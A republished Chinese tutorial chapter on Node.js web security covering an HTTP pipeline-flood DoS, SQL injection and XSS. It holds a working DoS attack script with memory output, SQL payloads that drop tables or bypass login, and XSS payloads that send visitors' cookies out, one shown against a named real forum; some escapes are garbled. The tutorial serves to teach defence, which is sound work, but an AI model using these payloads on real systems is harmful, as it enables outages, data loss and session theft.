Web安全实战

前言

本章将主要介绍使用Node.js开发web应用可能面临的安全问题,读者通过阅读本章可以了解web安全的基本概念,并且通过各种防御措施抵御一些常规的恶意攻击,搭建一个安全的web站点。

在学习本章之前,读者需要对HTTP协议、SQL数据库、Javascript有所了解。

什么是web安全

在互联网时代,数据安全与个人隐私受到了前所未有的挑战,我们作为网站开发者,必须让一个web站点满足基本的安全三要素:

(1)机密性,要求保护数据内容不能泄露,加密是实现机密性的常用手段。

(2)完整性,要求用户获取的数据是完整不被篡改的,我们知道很多OAuth协议要求进行sign签名,就是保证了双方数据的完整性。

(3)可用性,保证我们的web站点是可被访问的,网站功能是正常运营的,常见DoS(Denail of Service 拒绝服务)攻击就是破坏了可用性这一点。

安全的定义和意识

web安全的定义根据攻击手段来分,我们把它分为如下两类:

(1)服务安全,确保网络设备的安全运行,提供有效的网络服务。 (2)数据安全,确保在网上传输数据的保密性、完整性和可用性等。

我们之后要介绍的SQL注入,XSS攻击等都是属于数据安全的范畴,DoS,Slowlori攻击等都是属于服务安全范畴。

在黑客世界中,用帽子的颜色比喻黑客的“善恶”,精通安全技术,工作在反黑客领域的安全专家我们称之为白帽子,而黑帽子则是利用黑客技术谋取私利的 犯罪群体。同样都是搞网络安全研究,黑、白帽子的职责完全不同,甚至可以说是对立的。对于黑帽子而言,他们只要找到系统的一个切入点就可以达到入侵破坏的 目的,而白帽子必须将自己系统所有可能被突破的地方都设防,保证系统的安全运行。所以我们在设计架构的时候就应该有安全意识,时刻保持清醒的头脑,可能我 们的web站点100处都布防很好,只有一个点疏忽了,攻击者就会利用这个点进行突破,让我们另外100处的努力也白费。

同样安全的运营也是非常重要的,我们为web站点建立起坚固的壁垒,而运营人员随意使用root帐号,给核心服务器开通外网访问IP等等一系列违规操作,会让我们的壁垒瞬间崩塌。

Node.js中的web安全

Node.js作为一门新型的开发语言,很多开发者都会用它来快速搭建web站点,期间随着版本号的更替也修复了不少漏洞。因为Node.js提供 的网络接口较PHP更为底层,同时没有如apache、nginx等web服务器的前端保护,Node.js应该更加关注安全方面的问题。

Http管道洪水漏洞

在Node.js版本0.8.26和0.10.21之前,都存在一个管道洪水的拒绝服务漏洞(pipeline flood DoS)。官网在发布这个漏洞修复代码之后,强烈建议在生产环境使用Node.js的版本升级到0.8.26和0.10.21,因为这个漏洞威力巨大,攻 击者可以用很廉价的普通PC轻易的击溃一个正常运行的Node.js的HTTP服务器。

这个漏洞产生的原因很简单,主要是因为客户端不接收服务端的响应,但客户端又拼命发送请求,造成Node.js的Stream流无法泄洪,主机内存耗尽而崩溃,官网给出的解释如下:

当在一个连接上的客户端有很多HTTP请求管道,并且客户端没有读取Node.js服务器响应的数据,Node.js的服务将可能被击溃。强烈建议 任何在生产环境下的版本是0.8或0.10的HTTP服务器都尽快升级。新版本Node.js修复了问题,当服务端在等待stream流的drain事件 时,socket和HTTP解析将会停止。在攻击脚本中,socket最终会超时,并被服务端关闭连接。如果客户端并不是恶意攻击,只是发送大量的请求, 但是响应非常缓慢,那么服务端响应的速度也会相应降低。

现在让我们看一下这个漏洞造成的杀伤力吧,我们在一台4cpu,4G内存的服务器上启动一个Node.js的HTTP服务,Node.js版本为0.10.7。服务器脚本如下:

var http = require('http');
var buf = new Buffer(1024*1024);//1mb buffer
buf.fill('h');
http.createServer(function (request, response) {
    response.writeHead(200, {'Content-Type': 'text/plain'});
    response.end(buf);
}).listen(8124);
console.log(process.memoryUsage());
setInterval(function(){//per minute memory usage
    console.log(process.memoryUsage());
},1000*60)

上述代码我们启动了一个Node.js服务器,监听8124端口,响应1mb的字符h,同时每分钟打印Node.js内存使用情况,方便我们在执行攻击脚本之后查看服务器的内存使用情况。

在另外一台同样配置的服务器上启动如下攻击脚本:

var net = require('net');
var attack_str = 'GET / HTTP/1.1rnHost: 192.168.28.4rnrn'
var i = 1000000;//10W次的发送
var client = net.connect({port: 8124, host:'192.168.28.4'},
    function() { //'connect' listener
        while(i--){
          client.write(attack_str);
          }
    });
client.on('error', function(e) {
    console.log('attack success');
});

我们的攻击脚本加载了net模块,然后定义了一个基于HTTP协议的GET方法的请求头,然后我们使用tcp连接到Node.js服务器,循环发送 10W次GET请求,但是不监听服务端响应事件,也就无法对服务端响应的stream流进行消费。下面是在攻击脚本启动10分钟后,web服务器打印的内 存使用情况:

{ rss: 10190848, heapTotal: 6147328, heapUsed: 2632432 }
{ rss: 921882624, heapTotal: 888726688, heapUsed: 860301136 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189239056 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189251728 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189263768 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189270888 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189278008 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189285096 }
{ rss: 1250885632, heapTotal: 1211065584, heapUsed: 1189292216 }
{ rss: 1250893824, heapTotal: 1211065584, heapUsed: 1189301864 }

我们在服务器执行top命令,查看的系统内存使用情况如下:

Mem: 3925040k total, 3290428k used, 634612k free, 170324k buffers

可以看到,我们的攻击脚本只用了一个socket连接就消耗掉大量服务器的内存,更可怕的是这部分内存不会自动释放,需要手动重启进程才能回收。攻 击脚本执行之后Node.js进程占用内存比之前提高近200倍,如果有2-3个恶意攻击socket连接,服务器物理内存必然用完,然后开始频繁的交 换,从而失去响应或者进程崩溃。

SQL注入

从1998年12月SQL注入首次进入人们的视线,至今已经有十几年了,虽然我们已经有了很全面的防范SQL注入的对策,但是它的威力仍然不容小觑。

注入技巧

SQL注入大家肯定不会陌生,下面就是一个典型的SQL注入示例:

var userid = req.query["userid"];
var sqlStr = 'select * from user where id="'+ userid +'"';
connection.query(sqlStr, function(err, userObj) {
    // ...
});

正常情况下,我们都可以得到正确的用户信息,比如用户通过浏览器访问/user/info?id=11进入个人中心,而我们根据用户传递的id参数 展现此用户的详细信息。但是如果有恶意用户的请求地址为/user/info?id=11";drop table user--,那么最后拼接而成的SQL查询语句就是:

select * from user where id = "11";drop table user--

注意最后连续的两个减号表示忽略此SQL语句后面的语句。原本执行的查询用户信息的SQL语句,在执行完毕之后会把整个user表丢弃掉。

这是另外一个简单的注入示例,比如用户的登录接口查询,我们会根据用户的登录名和密码去数据库查找匹配,如果找到相应的记录,则表示用户名和密码匹配,提示用户登录成功;如果没有找到记录,则认为用户名或密码错误,表示登录失败,代码如下:

var username = req.body["username"];
var password = md5(req.body["password"]+salt);//对密码加密
var sqlStr = 'select * from user where username="'+ username +'" 
and password="'+ password +'";

如果我们提交上来的用户名参数是这样的格式:snoopy" and 1=1--,那么拼接之后的SQL查询语句就是如下内容:

select * from user where username = "snoopy" and 1=1-- " and 
password="698d51a19d8a121ce581499d7b701668";

执行这样的SQL语句永远会匹配到用户数据,就算我们不知道密码也能顺利登录到系统。如果在我们尝试注入SQL的网站开启了错误提示显示,会为攻击者提供便利,比如攻击者通过反复调整发送的参数、查看错误信息,就可以猜测出网站使用的数据库和开发语言等信息。

比如有一个信息发布网站,它的新闻详细页面url地址为/news/info?id=11,我们通过分别访问/news/info?id=11 and 1=1和/news/info?id=11 and 1=2,就可以基本判断此网站是否存在SQL注入漏洞,如果前者可以访问而后者页面无法正常显示的话,那就可以断定此网站是通过如下的SQL来查询某篇新 闻内容的:

var sqlStr = 'select * from news where id="'+id+'"';

因为1=2这个表达式永远不成立,所以就算id参数正确也无法通过此SQL语句返回真正的数据,当然就会出现无法正常显示页面的情况。我们可以使用一些检测SQL注入点的工具来扫描一个网站哪些地方具有SQL注入的可能。

通过url参数和form表单提交的数据内容,开发者通常都会为之做严密防范,开发人员必定会对用户提交上来的参数做一些正则判断和过滤,再丢到 SQL语句中去执行。但是开发人员可能不太会去关注用户HTTP的请求头,比如cookie中存储的用户名或者用户id,referer字段以及 User-Agent字段。

比如,有的网站可能会去记录注册用户的设备信息,通常记录用户设备信息是根据请求头中的User-Agent字段来判断的,拼接如下查询字符串就有存在SQL注入的可能。

var username = escape(req.body["username"]);//使用escape函数,过滤SQL注入
var password = md5(req.body["password"]+salt);//对密码加密
var agent = req.header["user-agent"];//注意Node.js的请求头字段都是小写的
var sqlStr = 'insert into user username,password,agent values "'+username+'",
 "'+password+'", "'+agent+'"';

这时候我们通过发包工具,伪造HTTP请求头,如果将请求头中的User-Agent修改为:';drop talbe user--,我们就成功注入了网站。

防范措施

防范SQL注入的方法很简单,只要保证我们拼接到SQL查询语句中的变量都经过escape过滤函数,就基本可以杜绝注入了,所以我们一定要养成良 好的编码习惯,对客户端请求过来的任何数据都要持怀疑态度,将它们过滤之后再丢到SQL语句中去执行。我们也可以使用一些比较成熟的ORM框架,它们会帮 我们阻挡掉SQL注入攻击。

XSS脚本攻击

XSS是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分,所以取名XSS。它是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到 网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML标签以及用户端脚本语言。

名城苏州网站注入

XSS注入常见的重灾区是社交网站和论坛,越是让用户自由输入内容的地方,我们就越要关注其能否抵御XSS攻击。XSS注入的攻击原理很简单,构造 一些非法的url地址或js脚本让HTML标签溢出,从而造成注入。一般引诱用户点击才触发的漏洞我们称为反射性漏洞,用户打开页面就触发的称为注入型漏 洞,当然注入型漏洞的危害更大一些。下面先用一个简单的实例来说明XSS注入无处不在。

名城苏州(www.2500sz.com),是苏州本地门户网站,日均的pv数也达到了150万,它的论坛用户数很多,是本地化新闻、社区论坛做的比较成功的一个网站。

接下来我们将演示一个注入到2500sz.com的案例,我们先注册成一个2500sz.com站点会员,进入论坛板块,开始发布新帖。打开发帖页面,在web编辑器中输入如下内容:

上面的代码即为分享一个网络图片,我们在图片的src属性中直接写入了javascript:alert('xss');,操作成功后生成帖子,用IE6、7的用户打开此帖子就会出现下图的alert('xss')弹窗。

当然我们要将标题设计的非常夺人眼球,比如“Pm2.5雾霾真相披露” ,然后将里面的alert换成如下恶意代码:

location.href='/upimg/allimg/140405/16440G523-2.jpg'+document.cookie;

这样我们就获取到了用户cookie的值,如果服务端session设置过期很长的话,以后就可以伪造这个用户的身份成功登录而不再需要用户名密 码,关于session和cookie的关系我们在下一节中将会详细讲到。这里的location.href只是出于简单,如果做了跳转这个帖子很快会被 管理员删除,但我们写如下代码,并且帖子的内容也是真实的,那么就会祸害很多人:

var img = document.createElement('img');
img.src='/upimg/allimg/140405/16440G523-2.jpg'+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);

这样就神不知鬼不觉的把当前用户cookie的值发送到恶意站点,恶意站点通过GET参数,就能获取用户cookie的值。通过这个方法可以拿到用户各种各样的私密数据。

Ajax的XSS注入

另一处容易造成XSS注入的地方是Ajax的不正确使用。

比如有这样的一个场景,在一篇博文的详细页,很多用户给这篇博文留言,为了加快页面加载速度,项目经理要求先显示博文的内容,然后通过Ajax去获取留言的第一页信息,留言功能通过Ajax分页保证了页面的无刷新和快速加载,此做法的好处有:

(1)加快了博文详细页的加载,提升了用户体验,因为留言信息往往有用户头像、昵称、id等等,需要多表查询,且一般用户会先看博文,再拉下去看留言,这时留言已加载完毕。

(2)Ajax的留言分页能更快速响应,用户不必每次分页都让博文重新刷新。

于是前端工程师从PHP那获取了json数据之后,将数据放入DOM文档中,大家能看出下面代码的问题吗?

var commentObj = $('#comment');
$.get('/getcomment', {r:Math.random(),page:1,article_id:1234},function(data){
    //通过Ajax获取评论内容,然后将品论的内容一起加载到页面中
    if(data.state !== 200)  return commentObj.html('留言加载失败。')
    commentObj.html(data.content);
},'json');

我们设计的初衷是,PHP程序员将留言内容套入模板,返回json格式数据,示例如下:

{"state":200, "content":"模板的字符串片段"}

如果没有看出问题,大家可以打开firebug或者chrome的开发人员工具,直接把下面代码粘贴到有JQuery插件的网站中运行:

$('div:first').html('<div><script>alert("xss")</script><div>');

正常弹出了alert框,你可能觉得这比较小儿科。

如果PHP程序员已经转义了尖括号<>还有单双引号"',那么上面的恶意代码会被漂亮的变成如下字符输出到留言内容中:

$('div:first').html('<script> alert("xss")</script> ');

这里我们需要表扬一下PHP程序员,可以将一些常规的XSS注入都屏蔽掉,但是在utf-8编码中,字符还有另一种表示方式,那就是unicode码,我们把上面的恶意字符串改写成如下:

 $('div:first').html('
u003c u0073u0063u0072u0069u0070u0074u003eu0061u006c u0065u0072u0074
u0028 u0022u0078u0073u0073u0022u0029u003c u002fu0073 u0063u0072u0069
u0070u0074u003e');

大家发现还是输出了alert框,只是这次需要将写好的恶意代码放入转码工具中做下转义,webqq曾经就爆出过上面这种unicode码的XSS注入漏洞,另外有很多反射型XSS漏洞因为过滤了单双引号,所以必须使用这种方式进行注入。

原文发布于微信公众号 - php(phpdaily)

原文发表时间:2015-10-30

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏沈唁志

整合ThinkPHP功能系列之微信公众号模板消息发送

所有服务号都可以在功能、添加功能插件处看到申请模板消息功能的入口,但只有认证后的服务号才可以申请模板消息的使用权限并获得该权限

692
来自专栏代码GG之家

只需一个命令,快速定位android的启动耗时

有兴趣合作,帮忙制作公众号的一些宣传图册的伙伴,可以加我微信,商谈具体事宜。 回顾: Android 启动过程框架 这节我们讲一个命令,用来定位android...

1706
来自专栏FreeBuf

反取证技术:内核模式下的进程隐蔽

介绍 本文是介绍恶意软件的持久性及传播性技术这一系列的第一次迭代,这些技术中大部分是研究人员几年前发现并披露的,在此介绍的目的是建立这些技术和取证方面的知识框架...

2928
来自专栏Python数据科学

33款你可能不知道的开源爬虫软件工具

爬虫,即网络爬虫,是一种自动获取网页内容的程序。是搜索引擎的重要组成部分,因此搜索引擎优化很大程度上就是针对爬虫而做出的优化。

862
来自专栏星流全栈

Feathers 2.0 — 面向未来的最简实时开发框架

1318
来自专栏java达人

web安全简易规范123

web安全,大公司往往有专门的安全开发流程去保证,有专门的安全团队去维护,而对于中小网络公司,本身体量小,开发同时兼带运维工作,时间精力有限,但是,同样需要做一...

640
来自专栏程序人生

谈谈用户权限系统

登录这事之于一个需要识别用户身份的产品,就仿佛cs101之于computer science。感谢各种语言里各种优秀的登录模块(比如nodejs的passpor...

2684
来自专栏WeTest质量开放平台团队的专栏

Web 前端性能优化 : 如何有效提升静态文件的加载速度

腾讯 WeTest 压测大师对包含 Web,H5 等页面准备了针对性的方案,解决了多数压测人员Web页面压测的问题。此文总结了笔者在 Web 静态资源方面的一些...

8010
来自专栏代码永生,思想不朽

实战ZMQ4.x的安全机制

  ZeroMq aka zmq是最知名的网络消息中间件之一。使有zmq的开源软件中最知名的莫过于Apache基金会下的Storm。我厂内部使用zmq的有即通的...

1073
来自专栏SDNLAB

OpenStack Neutron之持续测试

一.OpenStack持续测试概述 众所周知,OpenStack作为一个特大型软件开发项目,有着数千人的开发人员,每天要处理千计提交的代码,几千条Gerrit评...

36011

扫描关注云+社区